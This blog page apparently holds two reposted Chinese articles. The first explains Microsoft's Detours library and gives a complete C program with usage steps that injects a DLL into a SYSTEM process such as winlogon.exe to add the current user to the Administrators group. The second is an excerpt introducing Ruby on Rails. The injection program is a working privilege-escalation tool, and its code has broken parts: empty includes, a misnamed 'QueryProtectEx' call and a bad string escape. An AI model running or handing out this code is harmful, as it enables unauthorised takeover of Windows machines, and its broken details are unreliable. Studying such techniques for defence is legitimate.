2008年3月12日星期三

2008年3月11日星期二

Detours

用DETOURS库获取NT管理员权限
陈志敏
---- Detours是微软开发的一个函数库(源代码可在http://research.microsoft.com/sn/detours 免费获得), 用于修改运行中的程序在内存中的影像,从而即使没有源代码也能改变程序的行为。具体用途是:

拦截WIN32 API调用,将其引导到自己的子程序,从而实现WIN32 API的定制。
为一个已在运行的进程创建一新线程,装入自己的代码并运行。
---- 本文将简介Detours的原理,Detours库函数的用法, 并利用Detours库函数在Windows NT上编写了一个程序,该程序能使有“调试程序”的用户权限的用户成为系统管理员,附录利用Detours库函数修改该程序使普通用户即可成为系统管理员(在NT4 SP3上)。

一. Detours的原理

---- 1. WIN32进程的内存管理

---- 总所周知,WINDOWS NT实现了虚拟存储器,每一WIN32进程拥有4GB的虚存空间, 关于WIN32进程的虚存结构及其操作的具体细节请参阅WIN32 API手册, 以下仅指出与Detours相关的几点:

---- (1) 进程要执行的指令也放在虚存空间中
---- (2) 可以使用QueryProtectEx函数把存放指令的页面的权限更改为可读可写可执行,再改写其内容,从而修改正在运行的程序
---- (3) 可以使用VirtualAllocEx从一个进程为另一正运行的进程分配虚存,再使用 QueryProtectEx函数把页面的权限更改为可读可写可执行,并把要执行的指令以二进制机器码的形式写入,从而为一个正在运行的进程注入任意的代码

---- 2. 拦截WIN32 API的原理

---- Detours定义了三个概念:

---- (1) Target函数:要拦截的函数,通常为Windows的API。
---- (2) Trampoline函数:Target函数的复制品。因为Detours将会改写Target函数,所以先把Target函数复制保存好,一方面仍然保存Target函数的过程调用语义,另一方面便于以后的恢复。
---- (3) Detour 函数:用来替代Target函数的函数。

---- Detours在Target函数的开头加入JMP Address_of_ Detour_ Function指令(共5个字节)把对Target函数的调用引导到自己的Detour函数, 把Target函数的开头的5个字节加上JMP Address_of_ Target _ Function+5作为Trampoline函数。例子如下:

拦截前:Target _ Function:
;Target函数入口,以下为假想的常见的子程序入口代码
push ebp
mov ebp, esp
push eax
push ebx
Trampoline:
;以下是Target函数的继续部分
……

拦截后: Target _ Function:
jmp Detour_Function
Trampoline:
;以下是Target函数的继续部分
……

Trampoline_Function:
; Trampoline函数入口, 开头的5个字节与Target函数相同
push ebp
mov ebp, esp
push eax
push ebx
;跳回去继续执行Target函数
jmp Target_Function+5
---- 3. 为一个已在运行的进程装入一个DLL

---- 以下是其步骤:

---- (1) 创建一个ThreadFuction,内容仅是调用LoadLibrary。
---- (2) 用VirtualAllocEx为一个已在运行的进程分配一片虚存,并把权限更改为可读可写可执行。
---- (3) 把ThreadFuction的二进制机器码写入这片虚存。
---- (4) 用CreateRemoteThread在该进程上创建一个线程,传入前面分配的虚存的起始地址作为线程函数的地址,即可为一个已在运行的进程装入一个DLL。通过DllMain 即可在一个已在运行的进程中运行自己的代码。

二. Detours库函数的用法

---- 因为Detours软件包并没有附带帮助文件,以下接口仅从剖析源代码得出。

---- 1. PBYTE WINAPI DetourFindFunction(PCHAR pszModule, PCHAR pszFunction)

---- 功能:从一DLL中找出一函数的入口地址
---- 参数:pszModule是DLL名,pszFunction是函数名。
---- 返回:名为pszModule的DLL的名为pszFunction的函数的入口地址
---- 说明:DetourFindFunction除使用GetProcAddress外,还直接分析DLL的文件头,因此可以找到一些GetProcAddress找不到的函数入口。

---- 2. DETOUR_TRAMPOLINE(trampoline_prototype, target_name)
---- 功能:该宏把名为target_name 的Target函数生成Trampoline函数,以后调用 trampoline_prototype在语义上等于调用Target函数。

---- 3. BOOL WINAPI DetourFunctionWithTrampoline(PBYTE pbTrampoline, BYTE pbDetour)
---- 功能:用Detour 函数拦截Target函数
---- 参数:pbTrampoline是DETOUR_TRAMPOLINE得到的trampoline_prototype,pbDetour是 Detour 函数的入口地址。

---- 4. BOOL WINAPI DetourRemoveWithTrampoline(PBYTE pbTrampoline,PBYTE pbDetour)
---- 功能:恢复Target函数
---- 参数:pbTrampoline是DETOUR_TRAMPOLINE得到的trampoline_prototype,pbDetour是 Detour 函数的入口地址。

---- 5. BOOL WINAPI ContinueProcessWithDll(HANDLE hProcess, LPCSTR lpDllName)
---- 功能:为一个已在运行的进程装入一个DLL
---- 参数:hProcess是进程的句柄,lpDllName是要装入的DLL名

三. 程序实例

---- 以一个能使有“调试程序”的用户权限的用户成为系统管理员的程序做例子说明Detours 库函数的用法。程序的设计思路是找一个以System帐号运行的进程,如spoolss.exe, rpcss.exe, winlogon.exe, service.exe等,使用ContinueProcessWithDll在其中注入把当前用户加入到 Administrators本地组的DLL,因为该DLL在这些进程的安全上下文环境运行,所以有相应的权限。

---- 先编写相应的DLL:

/*admin.dll, 当进程装入时会把名为szAccountName
的用户加入到Administrators本地组。*/

#include
#include
#include
#include

/*以下创建一共享段实现进程间的数据通讯,
szAccountName 是用户名,bPrepared说明
szAccountName是否已初始化。*/

#pragma data_seg(".MYSHARE")
BOOL bPrepared=FALSE;
wchar_t szAccountName[100]={0};
#pragma data_seg()

#pragma comment(linker, "/SECTION:.MYSHARE,RWS")

/*程序调用SetAccountName设置要加入到Administrators
本地组的用户名,并通知DllMain
已初始化szAccountName ,
以后被装入时可调用ElevatePriv */

__declspec(dllexport) VOID WINAPI
SetAccountName(wchar_t *Name)
{
wcscpy(szAccountName,Name);
bPrepared=TRUE;
}

/*把名为szAccountName的用户加入
到Administrators本地组*/

__declspec(dllexport) VOID WINAPI ElevatePriv()
{
LOCALGROUP_MEMBERS_INFO_3 account;
account.lgrmi3_domainandname=szAccountName;
NetLocalGroupAddMembers(NULL,L"Administrators",
3,(LPBYTE)&account,1);
}

__declspec(dllexport) ULONG WINAPI
DllMain(HINSTANCE hInstance,
DWORD dwReason, PVOID lpReserved)
{
switch (dwReason) {
case DLL_THREAD_ATTACH:
if (bPrepared)
ElevatePriv();
}
return TRUE;
}

程序如下:

/*AddMeToAdministrators.exe 把当前用户加入到
Administrators本地组。使用方法为:(1)
---- 运行任务管理器找到spoolss.exe或rpcss.exe或winlogon.exe或sevice.exe的进程ID (2)执行AddMeToAdministrators.exe procid, 其中procid为(1)记下的进程ID (3)签退再签到,运行用户管理器,即可发现自己已在Administrators本地组中。*/

#include
#include
#include
#include
#include

extern VOID WINAPI SetAccountName(wchar_t *Name);

/* GetCurrentUser得到自己的用户名称*/

void GetCurrentUser(wchar_t *szName)
{
HANDLE hProcess, hAccessToken;
wchar_t InfoBuffer[1000],szAccountName[200],
szDomainName[200];
PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer;
DWORD dwInfoBufferSize,dwAccountSize = 200,
dwDomainSize = 200;
SID_NAME_USE snu;

hProcess = GetCurrentProcess();

OpenProcessToken(hProcess,TOKEN_READ,&hAccessToken);

GetTokenInformation(hAccessToken,TokenUser,
InfoBuffer,
1000, &dwInfoBufferSize);

LookupAccountSid(NULL, pTokenUser->User.Sid,
szAccountName,
&dwAccountSize,szDomainName, &dwDomainSize, &snu);
wcscpy(szName,szDomainName);
wcscat(szName,L"\");
wcscat(szName,szAccountName);
}

/* EnablePrivilege启用自己的“调试程序”的用户权限*/

BOOL EnablePrivilege(LPCTSTR szPrivName,BOOL fEnable)
{
HANDLE hToken;
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES, &hToken))
return FALSE;
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, szPrivName,
&tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = fEnable ?
SE_PRIVILEGE_ENABLED : 0;
AdjustTokenPrivileges(hToken, FALSE, &tp,
sizeof(tp), NULL, NULL);
return((GetLastError() == ERROR_SUCCESS));
}

int WINAPI WinMain(HINSTANCE hinst, HINSTANCE hprev,
LPSTR lpszCmdLine, int
nCmdShow)
{
INT argc;
WCHAR **argv;
argv = CommandLineToArgvW(GetCommandLineW(),
&argc);
INT nProcessId = -1;
if (argc!=2){
wprintf(L"usage %s pid", argv[0]);
return 1;
}
nProcessId = _wtoi(argv[1]);
printf("%d ",nProcessId);
---- /*要成功执行ContinueProcessWithDll,要对winlogon.exe等进程的进程句柄有读写存储器内容和创建线程的权限,EnablePrivilege使本进程有这样的权利。*/

if (!EnablePrivilege(SE_DEBUG_NAME, TRUE)){
printf("AdjustTokenPrivilege Fail %u ",
(UINT)GetLastError());
return 1;
}
HANDLE gNewHandle =
OpenProcess(PROCESS_ALL_ACCESS
, TRUE, nProcessId);
if (!gNewHandle){
printf("OpenProcess Fail %u ",
(UINT)GetLastError());
return 1;
}
wchar_t szName[100];
GetCurrentUser(szName);
SetAccountName(szName);
If (!ContinueProcessWithDll(gNewHandle,
L"c:\temp\admin.dll")) {
printf("ContinueProcessWithDll failed %u",
(UINT)GetLastError());
return 3;
}
return 0;
}
---- 因为“调试程序”的用户权限缺省情况下仅赋予给管理员,因此并不会造成安全漏洞。但该程序揭示出“调试程序”的用户权限其实是至高无上的用户权限,只能授予给可信用户。

四. 结论 ---- Detours是一强大的工具,提供了简单易用的函数接口来拦截WIN32 API调用和为一个已在运行的进程装入一个DLL。

2008年3月9日星期日

使用 Ruby on Rails 快速开发 Web 应用程序

http://www.ibm.com/developerworks/cn/linux/l-rubyrails/
http://www.rubyonrails.org/
这里是IBM Develop Network中的一篇文章
David Mertz, Ph.D. (mailto:mertz@gnosis.cx?subject=使用), 开发人员, Gnosis Software
2005 年 7 月 04 日
虽然还是测试版本,但 Ruby on Rails 已经成为进行 Web 应用程序开发的一个新途径。Rails 的成功之处在于能够自动化大部分常见类型的 Web 应用程序的创建,而且在您希望添加定制或者有特殊要求时,并不会受到限制。不仅如此,同那些只能完成 Web 应用程序单方面需求的自由软件(Free Software)库相比,Rails 包含了非常完整的一套工具。
Ruby on Rails 正在令整个 Web 开发领域受到震憾。让我们首先了解底层的技术:
Ruby 是一门免费的、简单的、直观的、可扩展的、可移植的、解释的脚本语言,用于快速而简单的面向对象编程。类似于 Perl,它支持处理文本文件和执行系统管理任务的很多特性。
Rails 是用 Ruby 编写的一款完整的、开放源代码的 Web 框架,目的是使用更简单而且更少的代码编写实际使用的应用程序。
作为一个完整的框架,这意味着 Rails 中的所有的层都是为协同工作而构造的,所以您不必自己再重复,可以完全只使用一门单一的语言。在 Rails 中,所有内容(从模板到控制流再到业务逻辑)都是用 Ruby 编写的。Rails 支持基于配置文件和注释的反射(reflection)和运行时扩展。
本文详细介绍了 Rails 的组成部分,并介绍了它的工作原理。
Rails 介绍
关于 Rails,首先需要理解的是它的模型/视图/控制器(model/view/controller,MVC)架构。虽然这种技术不是 Rails 所特有的 —— 甚至不是 Web 应用程序所特有的(相对于其他程序),但是 Rails 具有非常清晰而专一的 MVC 思维方式。如果您并不使用 MVC 方法,那么 Rails 的用处将大为降低(与遵循其模式的情况相比)。
模型
Rails 应用程序的模型部分主要是它所使用的底层数据库。实际上,在很多情形中 Rails 应用程序正是以一种受管理的方式对关系型数据库管理系统(RDBMS)中的数据执行操作的一个途径。
ActiveRecord 类是 Rails 的一个核心组成部分,它将关系型表映射为 Ruby 对象,使其成为控制器可以操作并能在视图中显示的数据。Rails 应用程序特别倾向于使用广为应用的 MySQL 数据库,不过也有与很多其他 RDBMS 的绑定,比如 IBM? DB2?。
如果您愿意,您可以添加 Ruby 代码来在应用程序模型中执行额外的验证,加强数据关联,或者触发其他操作。应用程序的 app/models/ 目录中的 Ruby 文件能够调用 ActiveRecord 的多种验证方法。不过,您也可以将模型代码留作一个存根,而只是依赖保存数据的 RDBMS 的约束。例如,我在这个示例中所开发的应用程序只包含这个骨架模型代码(至少在开始时是): 清单 1. 骨架模型 app/models/contact.rb
控制器以其抽象形式执行应用程序的逻辑。也就是说,应用程序的 app/controllers/ 目录中的 Ruby 脚本能把模型数据导入为变量,保存回去,或对其进行修改和处理。不过,控制器不关心用户如何适当地显示或者输入数据。在通常的 MVC 模型中,这可以让用户能够以多种方式与同一控制器进行交互:本地 GUI, Web 界面,以及视力较弱的人使用的语音界面都可以与相同的控制器进行交互。
不过,Rails 不像那样非常通用;相反,它仅局限于在 Web 页中提供和收集数据。虽然如此,但是您可以修改那些 Web 页的布局 —— 颜色、字体、表格、样式表单,等等 —— 与控制器代码无关。
视图
Rails 视图是我们编写 Ruby 代码的地方。Rails 包含有一门用于 .rhtml 的非常好的模板语言,它将纯粹的 HTML 与嵌入的 Ruby 代码组合起来。 Rails 应用程序界面的最表层外观通常是由 CSS 样式表单控制的。.rhtml 格式是一种增强的 HTML。实际上,一个简单的 HTML 文件本身也是一个合法的 RHTML 模板,不过,不应该忽略 RHTML 为您提供的脚本控制。
RHTML 是真正的模板格式 —— 不仅是在 HTML 中嵌入代码的方式 —— 这是一种更为有效的方法。如果您熟悉 PHP,那么可以考虑 PHP 本身与 Smarty 模板之间的对照。也就是说,嵌入的脚本只是将代码与未被解释的 HTML 混合在一起;当需要向客户机输出某些内容时,代码部分仍要负责执行 print 语句。
与之不同的是,模板引擎向 HTML 添加了一组定制的标签,让您能够将条件、循环以及其他逻辑作为增强的 HTML 标记的一部分来表示。